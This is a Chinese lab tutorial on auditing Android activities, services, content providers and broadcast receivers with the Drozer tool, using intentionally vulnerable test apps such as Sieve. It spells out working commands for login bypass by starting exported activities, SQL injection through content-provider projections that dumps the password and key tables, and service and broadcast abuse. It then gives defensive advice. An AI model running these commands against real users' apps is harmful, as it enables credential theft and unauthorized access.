安卓四大组件审计实验(drozer)
字数 2226 2025-08-18 11:37:07
Android四大组件安全审计与Drozer工具使用指南
一、实验概述
本实验使用Drozer工具对Android应用的四大组件(Activity、Service、Content Provider、Broadcast Receiver)进行安全审计,发现潜在的安全漏洞。
二、实验环境准备
基础环境
- 操作系统:Windows 10
- 开发工具:Android Studio 3
- Python版本:2.7 (32位)
- Drozer版本:2.4.4
测试目标应用
- Sieve(密码管理应用)
- Vul_BroadcastReceiver(广播接收器测试应用)
- AuditActivity(自定义测试应用)
模拟器
- 海马玩模拟器 0.11.0
三、Drozer环境配置
- 安装Drozer agent到测试设备
- 配置端口转发:
adb forward tcp:31415 tcp:31415 - 启动Drozer控制台:
drozer console connect
四、基础信息收集
1. 获取应用包信息
run app.package.list -f sieve
run app.package.info -a com.mwr.example.sieve
2. 确定攻击面
run app.package.attacksurface com.mwr.example.sieve
输出显示:
- 3个导出的Activities
- 2个导出的Content Providers
- 2个导出的Services
五、Activity组件审计
1. 获取Activity信息
run app.activity.info -a com.mwr.example.sieve
典型输出:
- FileSelectActivity(文件选择相关)
- PWList(密码列表相关)
- MainLoginActivity(主登录界面)
2. Activity绕过测试
尝试直接启动未受保护的Activity:
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
成功绕过登录界面直接访问密码列表,但操作时应用崩溃。
六、Content Provider组件审计
1. 获取Content Provider信息
run app.provider.info -a com.mwr.example.sieve
2. 检测SQL注入漏洞
run scanner.provider.injection -a com.mwr.example.sieve
发现两处可注入点。
3. 执行SQL注入攻击
获取数据库表结构:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* from sqlite_master where type='table';--"
发现三张表:
- android_metadata
- Passwords
- Key
4. 提取敏感数据
读取Passwords表:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* from Passwords;--"
读取Key表:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* from Key;--"
成功获取用户名、密码、邮箱等敏感信息。
七、Service组件审计
1. 获取Service信息
run app.service.info -a com.mwr.example.sieve
发现两个Service:
- AuthService
- CryptoService
2. 测试AuthService
发送消息获取密码:
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 0 --extra string com.mwr.example.sieve.PIN 1234 --bundle-as-obj
使用错误PIN码测试:
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 0 --extra string com.mwr.example.sieve.PIN 1111 --bundle-as-obj
3. 测试CryptoService
执行加密操作:
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 3452 0 0 --extra string com.mwr.example.sieve.KEY qwe123qwe123 --extra string com.mwr.example.sieve.STRING 1234 --bundle-as-obj
八、Broadcast Receiver组件审计
使用Vul_BroadcastReceiver应用进行测试:
- 通过logcat观察广播接收情况
- 发送测试广播:
run app.broadcast.send --component com.isi.vul_broadcastreceiver com.isi.vul_broadcastreceiver.MyBroadCastReceiver --extra string number 666666
九、自定义应用测试
1. 测试应用代码结构
public class MainActivity extends AppCompatActivity {
// 登录逻辑
if(uname.equals("admin") && pwd.equals("admin")){
Intent intent=new Intent();
intent.setClass(MainActivity.this, MyinfoActivity.class);
startActivity(intent);
}
}
public class MyinfoActivity extends AppCompatActivity {
// 显示用户信息
}
2. 安全测试步骤
- 获取应用信息:
run app.package.info -f test0
- 检查攻击面:
run app.package.attacksurface com.example.test0.auditactivity
- 尝试绕过登录:
run app.activity.start --component com.example.test0.auditactivity com.example.test0.auditactivity.MyinfoActivity
十、安全风险分析与防护建议
1. 主要安全问题
- 组件导出风险:未受保护的导出组件可被外部应用调用
- SQL注入漏洞:Content Provider未对输入进行过滤
- 认证绕过:Activity未进行有效权限检查
- 敏感数据泄露:Service可能返回敏感信息
2. 防护措施
- 最小化组件导出:
<activity android:name=".MyActivity" android:exported="false"/> - Content Provider防护:
- 使用参数化查询
- 设置适当的读写权限
- Service防护:
- 实现权限检查
- 限制敏感操作
- Broadcast Receiver防护:
- 设置权限要求
- 验证广播来源
十一、Drozer常用命令总结
| 命令类别 | 命令示例 | 功能描述 |
|---|---|---|
| 包信息 | run app.package.list -f 关键词 |
查找应用包名 |
| 攻击面 | run app.package.attacksurface 包名 |
分析应用攻击面 |
| Activity | run app.activity.info -a 包名 |
获取Activity信息 |
| Activity | run app.activity.start --component 包名 Activity类名 |
启动Activity |
| Provider | run app.provider.info -a 包名 |
获取Content Provider信息 |
| Provider | run scanner.provider.injection -a 包名 |
检测SQL注入漏洞 |
| Provider | run app.provider.query URI --projection "SQL" |
执行SQL查询 |
| Service | run app.service.info -a 包名 |
获取Service信息 |
| Service | run app.service.send 包名 Service类名 --msg ... |
向Service发送消息 |
| Broadcast | run app.broadcast.send --component 包名 Receiver类名 |
发送广播 |
十二、实验总结
通过本实验,我们掌握了使用Drozer工具对Android四大组件进行安全审计的方法,发现了多种常见的安全漏洞。开发人员应特别注意:
- 严格控制组件的导出属性
- 对所有输入进行严格验证
- 实现适当的权限控制机制
- 避免在组件中存储或传输敏感信息
安全审计应成为Android应用开发流程中的必要环节,特别是在处理用户敏感数据的应用中。